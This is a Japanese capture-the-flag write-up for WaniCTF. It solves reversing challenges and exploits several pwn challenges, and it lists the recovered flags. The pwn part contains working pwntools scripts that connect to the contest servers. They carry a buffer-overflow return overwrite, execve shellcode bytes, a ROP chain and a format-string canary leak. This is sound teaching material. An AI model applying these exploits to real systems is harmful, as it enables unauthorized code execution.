WaniCTF
開催ありがとうございました。とても楽しかったです。ソロで参戦して49位でした。上位の人々のすごさを改めて感じました。
rev
Just_Passw0rd
121pt 544solved
Beginner
バイナリファイルが配布されています。とりあえず含まれている文字列にフラグがないかを確認してみましょう。
strings just_password|grep FLAG
FLAG{1234_P@ssw0rd_admin_toor_qwerty}
javersing
132pt 348solved
Easy
jarファイルが配布されています。こういうのはまあデコンパイルしたら何かが分かると思います。
でコンパイラには以下を使いました。
http://www.javadecompilers.com/
//
// Decompiled by Procyon v0.5.36
//
public class javersing
{
public static void main(final String[] array) {
final String s = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s";
boolean b = true;
final Scanner scanner = new Scanner(System.in);
System.out.println("Input password: ");
final String replace = String.format("%30s", scanner.nextLine()).replace(" ", "0");
for (int i = 0; i < 30; ++i) {
if (replace.charAt(i * 7 % 30) != s.charAt(i)) {
b = false;
}
}
if (b) {
System.out.println("Correct!");
}
else {
System.out.println("Incorrect...");
}
}
}
Fcn_yDlvaGpj_Logi}eias{iaeAm_s
という文字列を見るとなんだか13文字ごとに取っていった文字列がフラグになりそうなので、とりあえずsolverを書きます。
s="Fcn_yDlvaGpj_Logi}eias{iaeAm_s"
for i in range(30):
print(s[(i*13)%30],end="")
FLAG{Decompiling_java_is_easy}
fermat
141pt 263solved
Easy
バイナリファイルが配布されます。解き方はいろいろあると思いますが、ここではgdbでデバッグしながら動かして解析します。
gdb fermet
print_flag
を呼び出しているところに飛べば勝ちです。rip
にアドレスを入れてprint_flagを実行しましょう。
set $rip=0x5555555554d5
next
FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}
theseus
173pt 136solved
Normal
challが配布されています。本番中はごり押しで解析したのですがここではangr
を使って解析します。
import angr
p= angr.Project("chall", auto_load_libs=False)
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
def correct(state):
if b"Correct!" in state.posix.dumps(1):
return True
return False
def failed(state):
if b"incorrect" in state.posix.dumps(1):
return True
return False
simgr.explore(find=correct, avoid=failed)
print(simgr.found[0].posix.dumps(0))
angr
仕組みはよくわかってないが便利
FLAG{vKCsq3jl4j_Y0uMade1t}
web_assembly
213pt 77solved
Hard
こんなサイトがある。
検証ツールからSourceを見るとindex.wasm
がある
一番下のほうに定数の文字列が置いてあった。その中にはフラグの断片らしき文字列もある。
適当に組み合わせてフラグを作ろうと思ったが無理だったので、それらしい文字列をアプリに入力したらフラグが出た。
Lua
222pt 69solved
Easy
ソースコードをいじることができるので、よく使われてそうな関数の引数と戻り値をprint
で表示させるようにした。
FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}
pwn
ret2win
150pt 209solved
Easy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZE 32
#define MAX_READ_LEN 48
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}
void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");
printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}
void win() {
asm("xor %rax, %rax\n"
"xor %rsi, %rsi\n"
"xor %rdx, %rdx\n"
"mov $0x3b, %al\n"
"mov $0x68732f6e69622f, %rdi\n"
"push %rdi\n"
"mov %rsp, %rdi\n"
"syscall");
}
int ofs = 0, ret = 0;
int main() {
init();
char buf[BUF_SIZE] = {0};
printf("Let's overwrite the target address with that of the win function!\n");
while (ofs < MAX_READ_LEN) {
show_stack(buf);
printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}
こんな感じのソースコードとバイナリが渡されます。以下のようにmain関数のローカル変数にバッファオーバーフローがあります。
#define BUF_SIZE 32 //実際に確保される配列の長さ
#define MAX_READ_LEN 48 //実際に読み込まれる文字数
~略~
int main() {
init();
char buf[BUF_SIZE] = {0};
~略~
スタックプロテクターは無効なので、これを利用しretアドレスにwin
関数のアドレスを上書きします。
from pwn import *
io=remote("ret2win-pwn.wanictf.org",9003)
elf=ELF("./chall")
io.recvuntil(b">")
io.send(b"a"*40) #確保された32バイト分+ベースアドレス8バイト分のパディング
io.send(p32(elf.symbols['win'])+b"\x00"*4) #リターンアドレスを上書きする。
io.interactive()
FLAG{f1r57_5739_45_4_9wn3r}
shellcode_basic
156pt 185solved
Normal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char code[1024];
printf("Enter shellcode: ");
fgets(code, sizeof(code), stdin);
void (*shellcode)() = (void (*)())code;
shellcode();
return 0;
}
以上のように入力されたデータをx86_64の機械語として実行するファイルが渡されます。
とりあえずx86_64でシェルを実行するアセンブラコードを書きます。
.global main
.intel_syntax noprefix
main:
xor rax,rax #
xor rdx,rdx #rdxを0(NULL)にする
xor rsi,rsi #rsiを0(NULL)にする
mov r12, 0x68732f6e69622f #/bin/shをr12レジスタを介しスタックに入れる
push r12
mov rdi,rsp #syscallの引数としてrdiにスタックの先頭アドレス(/bin/sh)を入れる
mov rax, 59 #raxに59を入れる。(execveを指定する)
syscall #syscallを呼び出す。
gcc -c shellcode.s -o shellcode
でコンパイルしテキストセクションのデータを取り出します。
objdump -d -M intel shellcode
とかでテキストセクションのデータを頑張って取り出すかtexthex
という便利なツール((ステマ))を使い取り出します。
texthex shellcode.o -s
\x48\x31\xed\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x49\xbc\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x54\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
以下のようなsolverを書いてシェルコードを注入してやります。
from pwn import *
pc = remote("shell-basic-pwn.wanictf.org",9004)
# pc = remote("",)
shell_code = b"\x48\x31\xed\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x49\xbc\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x54\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
pc.sendline(shell_code)
pc.interactive()
シェルをとれました!
FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
beginners ROP
178pt 124solved
Normal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZE 32
#define MAX_READ_LEN 96
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}
void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");
printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}
void pop_rax_ret() { asm("pop %rax; ret"); }
void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }
void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }
void mov_rsp_rdi_pop_ret() {
asm("mov %rsp, %rdi\n"
"add $0x8, %rsp\n"
"ret");
}
void syscall_ret() { asm("syscall; ret"); }
int ofs = 0, ret = 0;
int main() {
init();
char buf[BUF_SIZE] = {0};
printf("Let's practice ROP attack!\n");
while (ofs < MAX_READ_LEN) {
show_stack(buf);
printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}
以上のファイルに以下のようにバッファオーバーフローがあります。
#define BUF_SIZE 32 #確保されたバイト数
#define MAX_READ_LEN 96 #実際に入力されるバイト数
スタックプロテクタも無効なのでリターンアドレスを自由に変更できます。問題名の通りROP
で任意コード実行します。
ROP
とはretアドレスに、ある命令とret命令がセットになった、ROP Gadget
と呼ばれるコード片のアドレスをセットし、リターンを繰り返し任意のコードを実行する手法です。
ROP Gadgetを見つける方法はたくさんありますが、今回はradare2を使って探しました。
0x00401371 58 pop rax #探したい命令と
0x00401372 c3 ret #ret命令
以上のように必要なコード片を集めて以下のようなそる場を書きます。やっていることはshellcode_basic
のシェルコードと同じです。
from pwn import *
io=remote("beginners-rop-pwn.wanictf.org", 9005)
xor_rdx=p64(0x0040138d)
xor_rsi=p64(0x0040137e)
mov_rdi_rsp=p64(0x0040139c)
pop_rax=p64(0x00401371)
pop_rbp=p64(0x004013b3)
syscall=p64(0x004013af)
payload=b"p"*40
payload+=xor_rdx
payload+=xor_rsi
payload+=mov_rdi_rsp
payload+=b"/bin/sh\x00"
payload+=pop_rax
payload+=p64(59)
payload+=syscall
payload+=b"\00"*(96-len(payload))
print(payload)
io.sendline(payload)
io.interactive()
FLAG{h0p_p0p_r0p_po909090p93r!!!!}
Canaleak
187pt 109solved
Normal
#include <stdio.h>
#include <stdlib.h>
void init() {
// alarm(600);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void win() { system("/bin/sh"); }
int main() {
char nope[20];
init();
while (strcmp(nope, "YES")) {
printf("You can't overwrite return address if canary is enabled.\nDo you "
"agree with me? : ");
scanf("%s", nope);
printf(nope);
}
}
これはnopeにはいくらでも入力できるので明らかなバッファオーバーフローがあるのでリターンアドレスをwin
に書き替えれば勝ちです。
ですが、今回はスタックプロテクタが有効なので少し工夫する必要があります。
スタックプロテクタとはつまりベースポインタとリターンアドレスの前に適当な値(canary)を入れて置きその値が書き換わっていたら強制終了するものです。なのでこのcanaryを何とか取得してしまえば問題なく書き替えることができます。
ではどうやってcanaryをリークするのか、今回配布されたプログラムには以下のようにユーザーが編集できる文字列のアドレスを直接printfに渡しています。これは書式文字列攻撃
につながります。
printf(nope);
例えば
char nope[100]="%p%p%p%p%p%p%p%p%p";
printf(nope);
このようにnope
に書式文字列を入れるとprintf
を呼び出した時のレジスタの値(5個分)と、スタックの値(4個分)がアドレスとして表示されてしまいます。
これを利用するとcanary
をリークできます。
from pwn import *
io=remote("canaleak-pwn.wanictf.org", 9006)
#io=process("chall")
#io=gdb.debug("./chall", '''
# break main
#''')
io.recvuntil(b"Do you agree with me? :")
io.sendline(b"%p"*9)
res=(io.recvline())
print(res)
canary=res[-17:-1]
print(canary)
canary=p64(int(canary,16))
win=p64(0x401242)
io.sendline()
io.recvuntil(b"Do you agree with me? :")
payload=(b"a"*24+canary+b"b"*8+win)
print(payload)
io.sendline(payload)
io.sendline(b"YES")
io.interactive()
FLAG{N0PE!}
以上
読んでいただきありがとうございました。かなり稚拙なwriteupですが誰かの役に立てば幸いです。
改めて楽しかったです。開催ありがとうございました!